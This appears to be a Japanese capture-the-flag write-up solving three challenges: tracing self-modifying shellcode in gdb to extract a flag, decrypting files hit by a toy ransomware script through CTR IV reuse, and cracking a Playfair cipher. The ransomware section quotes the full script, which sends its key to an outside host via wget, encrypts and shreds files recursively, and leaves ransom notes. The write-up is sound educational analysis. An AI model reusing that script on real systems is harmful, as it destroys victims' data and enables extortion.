b7a: 48 8b 85 98 fe ff ff mov rax,QWORD PTR [rbp-0x168]
b81: 48 89 ce mov rsi,rcx
b84: 48 89 c7 mov rdi,rax
b87: e8 f4 fc ff ff call 880 <memcpy@plt>
b8c: 48 8b 85 98 fe ff ff mov rax,QWORD PTR [rbp-0x168]
b93: 48 89 85 a8 fe ff ff mov QWORD PTR [rbp-0x158],rax
b9a: 48 8b 95 a8 fe ff ff mov rdx,QWORD PTR [rbp-0x158]
ba1: b8 00 00 00 00 mov eax,0x0
ba6: ff d2 call rdx
ba8: 89 85 94 fe ff ff mov DWORD PTR [rbp-0x16c],eax
bae: 83 bd 94 fe ff ff 21 cmp DWORD PTR [rbp-0x16c],0x21
bb5: 75 13 jne bca <fork@plt+0x2fa>
bb7: e8 e4 fc ff ff call 8a0 <getppid@plt>
bbc: be 0e 00 00 00 mov esi,0xe
bc1: 89 c7 mov edi,eax
bc3: e8 c8 fc ff ff call 890 <kill@plt>
bc8: eb 11 jmp bdb <fork@plt+0x30b>
bca: e8 d1 fc ff ff call 8a0 <getppid@plt>
bcf: be 0a 00 00 00 mov esi,0xa
bd4: 89 c7 mov edi,eax
bd6: e8 b5 fc ff ff call 890 <kill@plt>
bdb: 90 nop
bdc: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
be0: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28
be7: 00 00
be9: 74 05 je bf0 <fork@plt+0x320>
beb: e8 50 fc ff ff call 840 <__stack_chk_fail@plt>
bf0: c9 leave
bf1: c3 ret
mmap で rwx な領域を確保して 0xd28 からの内容をいじって書き込み、call しています。何が実行されるか 0xba6 (call rdx) にブレークポイントを置いて実行しましょう。
gdb-peda$ b *0x555555554ba6
Breakpoint 1 at 0x555555554ba6
gdb-peda$ r
...
Breakpoint 1, 0x0000555555554ba6 in ?? ()
gdb-peda$ pdisas $rdx
Dump of assembler code from 0x7ffff7ff5000 to 0x7ffff7ff5020:: Dump of assembler code from 0x7ffff7ff5000 to 0x7ffff7ff5020:
0x00007ffff7ff5000: jmp 0x7ffff7ff5003
...
0x7ffff7ff5003 にジャンプしています。
gdb-peda$ pdisas 0x7ffff7ff5003
Dump of assembler code from 0x7ffff7ff5003 to 0x7ffff7ff5023:: Dump of assembler code from 0x7ffff7ff5003 to 0x7ffff7ff5023:
0x00007ffff7ff5003: sub rsp,0x1337
0x00007ffff7ff500a: jmp 0x7ffff7ff500d
...
gdb-peda$ pdisas 0x7ffff7ff500d
Dump of assembler code from 0x7ffff7ff500d to 0x7ffff7ff502d:: Dump of assembler code from 0x7ffff7ff500d to 0x7ffff7ff502d:
0x00007ffff7ff500d: jmp 0x7ffff7ff5010
...
gdb-peda$ pdisas 0x7ffff7ff5010
Dump of assembler code from 0x7ffff7ff5010 to 0x7ffff7ff5030:: Dump of assembler code from 0x7ffff7ff5010 to 0x7ffff7ff5030:
0x00007ffff7ff5010: push rcx
0x00007ffff7ff5011: jmp 0x7ffff7ff5014
...
これが延々繰り返されています。実行されている命令をまとめると以下のようになりました。
sub rsp,0x1337
push rcx
push rdi
push rsi
push rdx
push rbx
sub rsp,0x100
xor rax,rax
mov edi,0x0 # read
mov rsi,rsp
mov rdx,0x100
syscall
mov rbx,rsi
add rsp,0x100
call label_1
label_1:
pop rax
xor rcx,rcx
label_2:
cmp BYTE PTR [rax],0x0
je label_3
jmp label_4
label_3:
mov rax,rcx
pop rbx
pop rdx
pop rsi
pop rdi
pop ecx
add rsp,0x1337
ret
label_4:
mov ebx,DWORD PTR [rsi]
and ebx,0xff
xor ebx,0xde
cmp bl,BYTE PTR [rax]
je label_5
jmp label_6
label_5:
inc rsi
inc rax
inc rcx
jmp label_2
label_6:
inc rsi
inc rax
jmp label_2
label_4 辺りで入力した文字列とフラグとの比較を行っています。cmp bl,BYTE PTR [rax]
にブレークポイントを置いてフラグを手に入れましょう。
gdb-peda$ b *0x7ffff7ff50a8
Breakpoint 2 at 0x7ffff7ff50a8
gdb-peda$ c
Continuing.
hoge
...
Breakpoint 2, 0x00007ffff7ff5091 in ?? ()
gdb-peda$ x/s $rax
0x7ffff7ff511c: "\215\235\212\230\245\273\277\254\262\247\201\273\277\254\262\247\201\255\253\260\272\277\247\201\263\261\254\260\267\260\271", <incomplete sequence \341\243>
$ python2
Python 2.7.9 (default, Mar 1 2015, 12:57:24)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> xor("\215\235\212\230\245\273\277\254\262\247\201\273\277\254\262\247\201\255\253\260\272\277\247\201\263\261\254\260\267\260\271\341\243", 0xde)
'SCTF{early_early_sunday_morning?}'
SCTF{early_early_sunday_morning?}
ranshomware.zip というファイルが与えられました。展開すると以下のファイルが出てきました。
$ unzip ranshomware.zip
Archive: ranshomware.zip
inflating: README
inflating: ranshomware.sh
creating: ranshomwared/
creating: ranshomwared/cd/
inflating: ranshomwared/cd/debian-40r9-amd64-businesscard.iso
inflating: ranshomwared/cd/encrypted.txt
creating: ranshomwared/flags/
extracting: ranshomwared/flags/flag.txt
inflating: ranshomwared/flags/encrypted.txt
inflating: ranshomwared/encrypted.txt
ransomware.sh は以下のような内容でした。
#!/bin/sh
key="$(cat /dev/urandom | tr -dc '0-9a-f' | fold -w 64 | head -1)"
ekey="$(echo "$key" | openssl dgst -sha512 -hex | tail -c 128)"
iv=0
wget "http://cac.example.com/?key=$key" -q -O /dev/null
function ranshomware () {
local f;
f="$1";
iv=$[ $iv + 1]
if [ -d "$f" ]; then
for sf in "$f"/*; do ranshomware "$sf"; done;
echo "All your files have been encrypted, pay us a lot of money to our account and we'll give them back to you. Say $ekey so we can give you the right key" > "$f"/encrypted.txt
fi
if [ -f "$f" ]; then
openssl enc -e -aes-256-ctr -iv "$(printf "%032x" "$iv")" -K "$key" -in "$f" -out "$f.enc";
shred "$f"
mv "$f".enc "$f"
fi;
}
ranshomware ranshomwared
ranshomwared/cd/debian-40r9-amd64-businesscard.iso をファイル名でググると、元のファイルが見つかりました。
CTR モードで暗号化されていることを利用して、以下のスクリプトで復号できました。
def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))
s = open('ranshomwared/cd/debian-40r9-amd64-businesscard.iso', 'rb').read()
t = open('orig/debian-40r9-amd64-businesscard.iso', 'rb').read()
flag = open('ranshomwared/flags/flag.txt','rb').read()
xored = xor(s[:32+len(flag)], t[:32+len(flag)])
print(xor(flag, xored[32:]))
$ python s.py
b"Hi man, I'm glad you solved this challenge!\n\nSo the flag? SURE!\n\nSCTF{MISSHANDLED_IVS_ARE_AWFUL_FOR_HEALTH_0H_4lM057_11k3_1337!}\n\n\nWell, there is the flag, I hope you enjoy the rest of the challenges :)\n\n"
SCTF{MISSHANDLED_IVS_ARE_AWFUL_FOR_HEALTH_0H_4lM057_11k3_1337!}
fairplay.tar.gz というファイルが与えられました。展開すると chall.txt という暗号文の書かれた 3.82 KB のテキストファイルが出てきました。
どのような文字が含まれるか調べてみましょう。
>python2
Python 2.7.10 (default, May 23 2015, 09:40:32) [MSC v.1500 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> s = open('chall.txt').read()
>>> sorted(set(s))
['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
J がありません。問題名からして恐らく Playfair 暗号でしょう。調べてみると、ソルバが見つかりました。これを使うと以下のような出力が得られました。
$ ./playn chall.txt
...
score: 11.628835
keysquare: FTGULOKBVCARNDQYEPWXHMZIS
あとは得られた情報から暗号文を復号するとフラグが得られました。
PLAYFAIRISAFUNCIPHERTOCRACKDONTYOUTHINKSO